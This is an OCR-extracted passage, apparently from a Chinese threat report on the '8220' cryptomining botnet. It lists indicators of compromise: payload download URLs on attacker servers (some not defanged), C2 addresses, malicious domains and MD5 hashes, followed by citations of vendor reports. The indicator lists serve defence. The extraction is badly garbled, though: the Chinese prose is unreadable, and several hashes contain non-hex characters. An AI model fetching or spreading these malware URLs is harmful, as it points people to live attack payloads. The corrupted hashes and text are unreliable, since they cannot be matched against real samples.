sub_4019DA(v9, 0x20000000i64, 8164, Processinformation.hProcess, v12, v12, 0i64, 0i64, 0i64, 0i64, 0i64);
sub_491A1A();

sub_491A1A();

return 0i64;

B WRAEIY

® TEFANN LR RS ERE DA RIEAE, e LA MSEHER D

A

o FEHIXNMREFHBIATIME, REMSERSH Apache Struts, Tomcat, WebLogic %8 4 %
B RIRE, WSO RER GBI t,

® NHEHMMNT, BUTEENEF UL EKRARHT, RESRLKHEFRAZHT .
® XMEMKRIOC, RARGHFEENHETA.
® URHENFELT AGREFWNEEFH, FAIBIHTET MM ELE,

Mizz: 10C

 EEEA T

//80.71.158.96/bashirc.i686
//a.oracleservice.top/bashirc.i686
//89.41.182.160/bashirc.i686
//45.61.184.118/bashirc.i686
//bash.givemexyz.in/bashirc.i686
//209.141.59.139/bashirc.i686
//205.185.118.119/bashirc.i686
//185.157.160.214/bashirc.i686
//91.198.77.78/bashirc.i686
//bash.givemexyz.in/i686

http[:
http[:
http[:
httpl[:
httpl[:
httpl[:
httpl[:
httpl[:
httpl[:
httpl[:
httpl[:
httpl[:

//a.oracleservice.top/i686
//194.38.20.31/1686

—_ e e e e e e e e e e
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http://91.198.77.78/bashirc.i686
http://91.198.77.78/bashirc.i686

http[:]//89.41.182.160/i686
http[:]//209.141.59.139/1686
http[:]//bash.givemexyz.in/xms.x86 64
http[:]//a.oracleservice.top/x86 64
http[:]//80.71.158.96/x86 64
http[:]//209.141.59.139/x86 64
http[:]//45.61.184.118/x86 64
http[:]//194.38.20.31/x86_64
http[:]//185.157.160.214/x86 64
http[:]//91.198.77.78/x86_64
http[:]//205.185.118.119/x86_64
http[:]//185.101.107.92/x86 64
http[:]//89.41.182.160/x86 64
http[:]//45.61.184.118/x86 64
http[:]//209.141.59.139/x86 64
http[:]//194.38.20.31/sshpass
http[:]//bash.givemexyz.in/x32b
http[:]//89.41.182.160/x32b
http[:]//a.oracleservice.top/x32b
http[:]//80.71.158.96/x32b
http[:]//bash.givemexyz.in/x64b
http[:]//89.41.182.160/x64b
http[:]//80.71.158.96/x64b
http[:]//a.oracleservice.top/x64b
http[:]//80.71.158.96/hxx
http[:]//89.41.182.160/hxx
http[:]//209.141.59.139/hxx
http[:]//bash.givemexyz.in/hxx
http[:]//209.141.59.139:80
http[:]//89.41.182.160:80
http[:]//194.38.20.31:80
http[:]//205.185.118.119:80
http[:]//209.141.59.139:80
http[:]//185.157.160.214:80
http[:]//80.71.158.96/masscan
http[:]//194.38.20.31/masscan
http[:]//194.38.20.31/banner
http[:]//bash.givemexyz.in/banner
http[:]//194.38.20.31/mywindows.exe
http[:]//89.41.182.160/mywindows.exe
http[:]//a.oracleservice.top/mywindows.exe
http[:]//209.141.59.139/scan
http[:]//89.41.182.160/scan
http[:]//bash.givemexyz.in/scan
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http://185.157.160.214/x86_64
http://185.157.160.214/x86_64
http://91.198.77.78/x86_64
http://91.198.77.78/x86_64
http://205.185.118.119/x86_64
http://205.185.118.119/x86_64
http://185.101.107.92/x86_64
http://185.101.107.92/x86_64
http://89.41.182.160/x86_64
http://89.41.182.160/x86_64
http://80.71.158.96/x64b
http://194.38.20.31/
http://194.38.20.31/
http://205.185.118.119/
http://205.185.118.119/
http://209.141.59.139/
http://209.141.59.139/
http://89.41.182.160/mywindows.exe

http[:]//a.oracleservice.top/scan
http[:]//205.185.118.119/scan
http[:]//194.38.20.31/scan
http[:]//80.71.158.96/scan
http[:]//194.38.20.31/scan2
http[:]//205.185.118.119/scan2
http[:]//89.41.182.160/¢ii.py
http[:]//194.38.20.31/eii.py
http[:]//205.185.118.119/oracleservice.exe
http[:]//80.71.158.96/oracleservice.exe
http[:]//194.38.20.31/oracleservice.exe
http[:]//89.41.182.160/wxm.exe
http[:]//80.71.158.96/wxm.exe
http[:]//209.141.59.139/wxm.exe
http[:]//194.38.20.31/wxm.exe
http[:]//205.185.118.119/wxm.exe

2. EEHAR MD5

ee48aa6068988649¢e41febfale3b2169
Oba9e6dcfc7451e386704b2846b7e440
63a86932a5badbda32ebd1689aa814b3
c4d44eed4916675dd408ff0b3562tb1f
b42183f226ab540fb07dd46088b382cf
7ff160120291bd214573956dcda33230
9e935bedb7801200b407febdb793951e
b2755fc18ae77bc86322409e82a02753
08e7d711e13e1e95bbdbdcH76d90f372
eb2fbe1b8f818cfba7dafe78aeab2c93
101cel70dafe1d352680ce0934bfb37e
dc3d2el17df6cef8df41ce8b0eba99291
fOcf1d3d9ed23166ft6c1f3deecel b4
0958fa69bale6645c42215¢5325d8176
6e7c0ff683d771875cd7edd2ed7b72e2
2559¢97¢13e731d9f37b1630dff2bble
b2d3f97fa0a66683e217b1f06ec9c4c8

3. HMBiE#E

a.oracleservice.top
bash.givemexyz.in
oracleservice.top

givemexyz.in
4, C2 tthiit

c4k. xpl. pwndns. pw

7187


http://205.185.118.119/scan
http://194.38.20.31/oracleservice.exe

104. 244. 75. 25
51.255.171. 23
104. 168. 71. 132

5. HATEARSE IP

194. 38. 20. 31
80.71. 158. 96
45.61.184. 118
212.114. 52. 24
209. 141. 59. 139
89. 41. 182. 160
205. 185.118. 119
91.198.77.78

BiiR: S5

1) https://www.antiy.cn/research/notice&report/research_report/20220428. html( %K, “8220”%%
WS T, 2022 E 4 1)

2)  https://www. freebuf. com/articles/network/303975. html (fif BL =%z 4=, 8220, 2021 4F
INED)

3) https://www. lacework. com/blog/8220-gangs-recent-use—of-custom—miner—and-botnet/

(Lacework Labs, unique Tsunami IRC botnet variants, 2021 &5 H)

4)  https://s. tencent. com/research/report/978. html (f&H 8220, Tsunami {8/~ 25 AL,

ddos, 2020 45 H)
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